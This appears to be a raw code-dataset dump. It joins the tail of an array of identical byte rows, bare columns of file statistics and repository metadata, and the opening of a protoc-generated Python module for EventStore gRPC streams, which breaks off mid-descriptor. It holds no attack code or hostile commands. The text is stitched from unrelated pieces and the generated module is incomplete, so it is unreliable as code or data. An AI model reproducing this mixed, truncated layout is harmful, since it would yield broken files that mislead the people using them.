[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ],
[ 240, 144, 128, 128 ] ]
| 25.992679
| 35
| 0.461575
| 8,193
| 53,259
| 3.000488
| 0.000488
| 0.499858
| 0.749786
| 0.999715
| 0.999715
| 0.999715
| 0.999715
| 0.999715
| 0.999715
| 0.999715
| 0
| 0.666504
| 0.307666
| 53,259
| 2,048
| 36
| 26.005371
| 0.00019
| 0
| 0
| 0.999023
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
fb72b28439ab2c0ee1042fe9994f2d2d8d53b9ac
| 113,914
|
py
|
Python
|
eventstore_grpc/proto/streams_pb2.py
|
jmshnds/eventstore_grpc
|
cf6a5978bcdf5bb725a569b7373ce15ee4babb25
|
[
"MIT"
] | 6
|
2021-02-04T15:48:28.000Z
|
2021-12-26T03:04:26.000Z
|
eventstore_grpc/proto/streams_pb2.py
|
jmshnds/eventstore_grpc
|
cf6a5978bcdf5bb725a569b7373ce15ee4babb25
|
[
"MIT"
] | 1
|
2021-04-14T00:06:25.000Z
|
2021-04-14T07:28:34.000Z
|
eventstore_grpc/proto/streams_pb2.py
|
jmshnds/eventstore_grpc
|
cf6a5978bcdf5bb725a569b7373ce15ee4babb25
|
[
"MIT"
] | 1
|
2021-04-14T17:22:54.000Z
|
2021-04-14T17:22:54.000Z
|
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: streams.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from eventstore_grpc.proto import shared_pb2 as shared__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='streams.proto',
package='event_store.client.streams',
syntax='proto3',
serialized_options=b'\n%com.eventstore.dbclient.proto.streams',
create_key=_descriptor._internal_create_key,
serialized_pb=b'\n\rstreams.proto\x12\x1a\x65vent_store.client.streams\x1a\x0cshared.proto\"\xf2\r\n\x07ReadReq\x12<\n\x07options\x18\x01 \x01(\x0b\x32+.event_store.client.streams.ReadReq.Options\x1a\xa8\r\n\x07Options\x12K\n\x06stream\x18\x01 \x01(\x0b\x32\x39.event_store.client.streams.ReadReq.Options.StreamOptionsH\x00\x12\x45\n\x03\x61ll\x18\x02 \x01(\x0b\x32\x36.event_store.client.streams.ReadReq.Options.AllOptionsH\x00\x12Q\n\x0eread_direction\x18\x03 \x01(\x0e\x32\x39.event_store.client.streams.ReadReq.Options.ReadDirection\x12\x15\n\rresolve_links\x18\x04 \x01(\x08\x12\x0f\n\x05\x63ount\x18\x05 \x01(\x04H\x01\x12W\n\x0csubscription\x18\x06 \x01(\x0b\x32?.event_store.client.streams.ReadReq.Options.SubscriptionOptionsH\x01\x12K\n\x06\x66ilter\x18\x07 \x01(\x0b\x32\x39.event_store.client.streams.ReadReq.Options.FilterOptionsH\x02\x12\x35\n\tno_filter\x18\x08 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x02\x12K\n\x0buuid_option\x18\t \x01(\x0b\x32\x36.event_store.client.streams.ReadReq.Options.UUIDOption\x1a\xe2\x01\n\rStreamOptions\x12\x46\n\x11stream_identifier\x18\x01 \x01(\x0b\x32+.event_store.client.shared.StreamIdentifier\x12\x12\n\x08revision\x18\x02 \x01(\x04H\x00\x12\x31\n\x05start\x18\x03 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12/\n\x03\x65nd\x18\x04 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x42\x11\n\x0frevision_option\x1a\xc8\x01\n\nAllOptions\x12H\n\x08position\x18\x01 \x01(\x0b\x32\x34.event_store.client.streams.ReadReq.Options.PositionH\x00\x12\x31\n\x05start\x18\x02 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12/\n\x03\x65nd\x18\x03 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x42\x0c\n\nall_option\x1a\x15\n\x13SubscriptionOptions\x1a=\n\x08Position\x12\x17\n\x0f\x63ommit_position\x18\x01 \x01(\x04\x12\x18\n\x10prepare_position\x18\x02 \x01(\x04\x1a\xf7\x02\n\rFilterOptions\x12\x61\n\x11stream_identifier\x18\x01 \x01(\x0b\x32\x44.event_store.client.streams.ReadReq.Options.FilterOptions.ExpressionH\x00\x12Z\n\nevent_type\x18\x02 \x01(\x0b\x32\x44.event_store.client.streams.ReadReq.Options.FilterOptions.ExpressionH\x00\x12\r\n\x03max\x18\x03 \x01(\rH\x01\x12\x31\n\x05\x63ount\x18\x04 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x01\x12$\n\x1c\x63heckpointIntervalMultiplier\x18\x05 \x01(\r\x1a+\n\nExpression\x12\r\n\x05regex\x18\x01 \x01(\t\x12\x0e\n\x06prefix\x18\x02 \x03(\tB\x08\n\x06\x66ilterB\x08\n\x06window\x1a\x83\x01\n\nUUIDOption\x12\x36\n\nstructured\x18\x01 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12\x32\n\x06string\x18\x02 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x42\t\n\x07\x63ontent\",\n\rReadDirection\x12\x0c\n\x08\x46orwards\x10\x00\x12\r\n\tBackwards\x10\x01\x42\x0f\n\rstream_optionB\x0e\n\x0c\x63ount_optionB\x0f\n\rfilter_option\"\xa5\t\n\x08ReadResp\x12?\n\x05\x65vent\x18\x01 \x01(\x0b\x32..event_store.client.streams.ReadResp.ReadEventH\x00\x12U\n\x0c\x63onfirmation\x18\x02 \x01(\x0b\x32=.event_store.client.streams.ReadResp.SubscriptionConfirmationH\x00\x12\x45\n\ncheckpoint\x18\x03 \x01(\x0b\x32/.event_store.client.streams.ReadResp.CheckpointH\x00\x12O\n\x10stream_not_found\x18\x04 \x01(\x0b\x32\x33.event_store.client.streams.ReadResp.StreamNotFoundH\x00\x1a\x8d\x05\n\tReadEvent\x12K\n\x05\x65vent\x18\x01 \x01(\x0b\x32<.event_store.client.streams.ReadResp.ReadEvent.RecordedEvent\x12J\n\x04link\x18\x02 \x01(\x0b\x32<.event_store.client.streams.ReadResp.ReadEvent.RecordedEvent\x12\x19\n\x0f\x63ommit_position\x18\x03 \x01(\x04H\x00\x12\x37\n\x0bno_position\x18\x04 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x1a\x86\x03\n\rRecordedEvent\x12+\n\x02id\x18\x01 \x01(\x0b\x32\x1f.event_store.client.shared.UUID\x12\x46\n\x11stream_identifier\x18\x02 \x01(\x0b\x32+.event_store.client.shared.StreamIdentifier\x12\x17\n\x0fstream_revision\x18\x03 \x01(\x04\x12\x18\n\x10prepare_position\x18\x04 \x01(\x04\x12\x17\n\x0f\x63ommit_position\x18\x05 \x01(\x04\x12\\\n\x08metadata\x18\x06 \x03(\x0b\x32J.event_store.client.streams.ReadResp.ReadEvent.RecordedEvent.MetadataEntry\x12\x17\n\x0f\x63ustom_metadata\x18\x07 \x01(\x0c\x12\x0c\n\x04\x64\x61ta\x18\x08 \x01(\x0c\x1a/\n\rMetadataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x42\n\n\x08position\x1a\x33\n\x18SubscriptionConfirmation\x12\x17\n\x0fsubscription_id\x18\x01 \x01(\t\x1a?\n\nCheckpoint\x12\x17\n\x0f\x63ommit_position\x18\x01 \x01(\x04\x12\x18\n\x10prepare_position\x18\x02 \x01(\x04\x1aX\n\x0eStreamNotFound\x12\x46\n\x11stream_identifier\x18\x01 \x01(\x0b\x32+.event_store.client.shared.StreamIdentifierB\t\n\x07\x63ontent\"\xc2\x05\n\tAppendReq\x12@\n\x07options\x18\x01 \x01(\x0b\x32-.event_store.client.streams.AppendReq.OptionsH\x00\x12Q\n\x10proposed_message\x18\x02 \x01(\x0b\x32\x35.event_store.client.streams.AppendReq.ProposedMessageH\x00\x1a\xa4\x02\n\x07Options\x12\x46\n\x11stream_identifier\x18\x01 \x01(\x0b\x32+.event_store.client.shared.StreamIdentifier\x12\x12\n\x08revision\x18\x02 \x01(\x04H\x00\x12\x35\n\tno_stream\x18\x03 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12/\n\x03\x61ny\x18\x04 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12\x39\n\rstream_exists\x18\x05 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x42\x1a\n\x18\x65xpected_stream_revision\x1a\xed\x01\n\x0fProposedMessage\x12+\n\x02id\x18\x01 \x01(\x0b\x32\x1f.event_store.client.shared.UUID\x12U\n\x08metadata\x18\x02 \x03(\x0b\x32\x43.event_store.client.streams.AppendReq.ProposedMessage.MetadataEntry\x12\x17\n\x0f\x63ustom_metadata\x18\x03 \x01(\x0c\x12\x0c\n\x04\x64\x61ta\x18\x04 \x01(\x0c\x1a/\n\rMetadataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x42\t\n\x07\x63ontent\"\xcc\t\n\nAppendResp\x12\x41\n\x07success\x18\x01 \x01(\x0b\x32..event_store.client.streams.AppendResp.SuccessH\x00\x12]\n\x16wrong_expected_version\x18\x02 \x01(\x0b\x32;.event_store.client.streams.AppendResp.WrongExpectedVersionH\x00\x1a=\n\x08Position\x12\x17\n\x0f\x63ommit_position\x18\x01 \x01(\x04\x12\x18\n\x10prepare_position\x18\x02 \x01(\x04\x1a\x88\x02\n\x07Success\x12\x1a\n\x10\x63urrent_revision\x18\x01 \x01(\x04H\x00\x12\x35\n\tno_stream\x18\x02 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12\x43\n\x08position\x18\x03 \x01(\x0b\x32/.event_store.client.streams.AppendResp.PositionH\x01\x12\x37\n\x0bno_position\x18\x04 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x01\x42\x19\n\x17\x63urrent_revision_optionB\x11\n\x0fposition_option\x1a\xc7\x05\n\x14WrongExpectedVersion\x12!\n\x17\x63urrent_revision_20_6_0\x18\x01 \x01(\x04H\x00\x12<\n\x10no_stream_20_6_0\x18\x02 \x01(\x0b\x32 .event_store.client.shared.EmptyH\x00\x12\"\n\x18\x65xpected_revision_20_6_0\x18\x03 